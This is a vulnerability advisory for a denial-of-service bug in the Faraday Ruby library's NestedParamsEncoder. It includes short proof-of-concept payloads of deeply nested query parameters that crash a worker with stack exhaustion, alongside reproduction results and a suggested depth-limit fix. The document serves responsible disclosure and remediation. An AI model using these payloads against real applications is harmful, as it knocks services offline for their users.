CVE-2026-54297
Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters
Description
# Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters ## Summary `Faraday::NestedParamsEncoder`, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string such as: ```text a[x][x][x][x]...[x]=1 ``` causes Faraday to build a deeply nested Ruby `Hash` structure. The internal `dehash` routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught `SystemStackError` (`stack level too deep`), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths. ## Affected Product - Product: Faraday - Repository: https://github.com/lostisland/faraday - Tested version: `v2.14.2-2-g59334e0` - Tested commit: `59334e0e9b19` - Ruby version: `ruby 3.2.3` - Tested component: `Faraday::NestedParamsEncoder` / `Faraday::Utils.parse_nested_query` - Date tested: `2026-05-24` ## Vulnerability Type - Denial of Service - Uncontrolled Recursion - Stack Exhaustion ## Preconditions An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths. Confirmed reachable paths include: 1. Direct use of the public utility: ```ruby Faraday::Utils.parse_nested_query(untrusted_query_string) ``` 2. Normal Faraday request URL building: ```ruby conn = Faraday.new('https://api.example.com') conn.build_url("/search?#{untrusted_query_string}") ``` In the second case, the crash occurs during URL construction before any network request is sent. ## Impact A relatively small query string can trigger a `SystemStackError` and crash the calling Ruby thread or worker. In my local test environment, a payload of approximately 9.4 KB was sufficient: ```text depth=3119 bytes=9360 result=SystemStackError message="stack level too deep" ``` Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday. This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss. ## Technical Details Faraday supports nested query parameters such as: ```text user[name]=alice&user[roles][]=admin ``` which are decoded into nested Ruby structures. However, Faraday also accepts arbitrarily deep nesting such as: ```text a[x][x][x][x][x][x]...[x]=1 ``` This creates a deeply nested structure similar to: ```ruby { "a" => { "x" => { "x" => { "x" => { "x" => ... } } } } } ``` The recursive `dehash` routine then walks the structure without a maximum depth check. Affected file: ```text lib/faraday/encoders/nested_params_encoder.rb ``` Relevant logic: ```ruby def dehash(hash, depth) hash.each do |key, value| hash[key] = dehash(value, depth + 1) if value.is_a?(Hash) end # ... end ``` Although the function accepts a `depth` argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string. ## Proof of Concept ### PoC 1: Direct parser crash ```ruby require 'faraday' payload = "a#{'[x]' * 3119}=1" Faraday::Utils.parse_nested_query(payload) ``` Observed result: ```text SystemStackError: stack level too deep ``` ### PoC 2: Normal URL-building crash ```ruby require 'faraday' conn = Faraday.new('https://api.example.com') payload = "/search?a#{'[x]' * 3500}=1" conn.build_url(payload) ``` Observed result: ```text SystemStackError ``` No network request is required; the crash occurs during URL construction. ## Local Reproduction Results The issue was reproduced locally against Faraday commit `59334e0e9b19`. Environment: ```text ruby 3.2.3 faraday v2.14.2-2-g59334e0 commit 59334e0e9b19 ``` ### Full PoC result ```text == (A) DEEP nesting -> dehash recursion / stack exhaustion == depth=100 parse=0.0003s OK depth=1000 parse=0.0034s OK depth=5000 *** SystemStackError (stack overflow DoS): SystemStackError depth=20000 *** SystemStackError (stack overflow DoS): SystemStackError depth=100000 *** SystemStackError (stack overflow DoS): SystemStackError == (B) WIDE numeric keys -> dehash sort + numeric-key scan per level == N=1000 parse=0.0093s N=10000 parse=0.1053s N=50000 parse=0.4992s N=100000 parse=1.1242s == (C) MANY array pushes a[]&a[]&... == N=1000 parse=0.0048s N=10000 parse=0.0614s N=50000 parse=0.2915s N=100000 parse=0.5403s ``` ### Minimal depth test ```text depth=100 bytes=303 result=OK depth=1000 bytes=3003 result=OK depth=2500 bytes=7503 result=OK depth=3000 bytes=9003 result=OK depth=3119 bytes=9360 result=SystemStackError message="stack level too deep" depth=3500 bytes=10503 result=SystemStackError message="stack level too deep" depth=5000 bytes=15003 result=SystemStackError message="stack level too deep" ``` ### URL-building test ```text build_url depth=100 bytes=311 result=OK build_url depth=1000 bytes=3011 result=OK build_url depth=3500 bytes=10511 result=SystemStackError build_url depth=8000 bytes=24011 result=SystemStackError ``` These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition. ## Expected Behavior Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception. For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion: ```text Faraday::Error: Exceeded the maximum allowed nested parameter depth ``` ## Actual Behavior Faraday recursively processes attacker-controlled nesting depth and eventually raises: ```text SystemStackError: stack level too deep ``` This exception indicates stack exhaustion and can crash the calling worker/thread. ## Suggested Fix Add a configurable maximum nesting depth to `Faraday::NestedParamsEncoder`, similar to Rack's `param_depth_limit`. Suggested behavior: - Set a default maximum depth, for example `100`. - Reject keys whose subkey chain exceeds the maximum depth. - Raise a normal `Faraday::Error` or another controlled exception rather than allowing Ruby stack exhaustion. Example patch concept: ```ruby module Faraday module NestedParamsEncoder class << self attr_accessor :sort_params, :array_indices, :param_depth_limit end @param_depth_limit = 100 end end ``` Then in `decode_pair`: ```ruby subkeys = key.scan(SUBKEYS_REGEX) if param_depth_limit && subkeys.length > param_depth_limit raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{param_depth_limit}" end ``` A local patch implementing this approach was tested. With the patch applied: - The crash payloads raise a controlled `Faraday::Error` instead of `SystemStackError`. - Normal nested query parsing still works. - Existing encoder/utils tests passed in the local test set: ```text 42 examples, 0 failures ``` ## Security Policy Fit Faraday's `SECURITY.md` states that the `2.x` branch is supported for security updates and that vulnerabilities should be reported privately. This issue was reproduced on the current tested `2.x` codebase: ```text v2.14.2-2-g59334e0 commit 59334e0e9b19 ``` The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage. ## Related Public Discussions / Duplicate Check I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including: ```text NestedParamsEncoder parse_nested_query SystemStackError stack level too deep param_depth_limit nested parameter depth Uncontrolled recursion CWE-674 dehash depth parse_nested_query depth ``` I did not find a public report or fix for this specific `NestedParamsEncoder` depth-limit / `SystemStackError` denial-of-service issue. The closest unrelated public items I found were: - `lostisland/faraday#1107` — `Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints` - This appears unrelated to nested query parameter parsing and `Faraday::NestedParamsEncoder`. - `GHSA-33mh-2634-fwr2` / `CVE-2026-25765` - This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting. Repo-local checks also found no existing `param_depth_limit` or equivalent mitigation in `lib/faraday/encoders/nested_params_encoder.rb`. ## Severity Suggested severity: **Medium** Rationale: - The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths. - The payload is small enough to be practical, approximately 9.4 KB in the local reproduction. - No authentication or user interaction is required in affected application patterns. - The confirmed impact is availability only. Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly. ## Notes This report does not claim remote code execution, authentication bypass, or information disclosure. The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder. No third-party live services were tested. Reproduction was performed only in a local lab environment. ## Reporter Reported by: Emre Koca Please let me know if you need additional reproduction details, logs, or a patch proposal.